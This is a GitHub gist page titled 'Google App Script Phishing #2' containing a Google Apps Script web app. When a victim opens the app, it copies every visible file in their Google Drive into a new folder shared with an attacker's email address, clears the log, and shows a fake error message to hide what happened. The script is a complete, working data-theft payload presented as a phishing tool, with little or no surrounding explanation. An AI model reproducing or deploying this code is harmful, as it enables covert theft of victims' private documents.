Skip to content

Instantly share code, notes, and snippets.

@ahhh
Last active June 16, 2023 00:55
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save ahhh/a8fc83f2b323da162f50dc86c5d64e32 to your computer and use it in GitHub Desktop.
Save ahhh/a8fc83f2b323da162f50dc86c5d64e32 to your computer and use it in GitHub Desktop.
Google App Script Phishing #2
function driveSearch() {
// Setup the exfil folder
var user = Session.getActiveUser().getEmail();
var folder = DriveApp.createFolder(user);
var attackerEmail = "ahhh.db@gmail.com";
folder.addViewer(attackerEmail);
// Search Drive
var files = DriveApp.searchFiles('hidden = false');
// Iterate through files in Drive
while (files.hasNext()) {
var file = files.next();
var name = file.getName();
Logger.log(name);
// Exfiltrate each file
//file.addViewer(attackerEmail);
file.makeCopy(name, folder);
}
Logger.clear();
}
function doGet(e) {
var params = JSON.stringify(e);
driveSearch();
return HtmlService.createHtmlOutput('An error has occured');
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment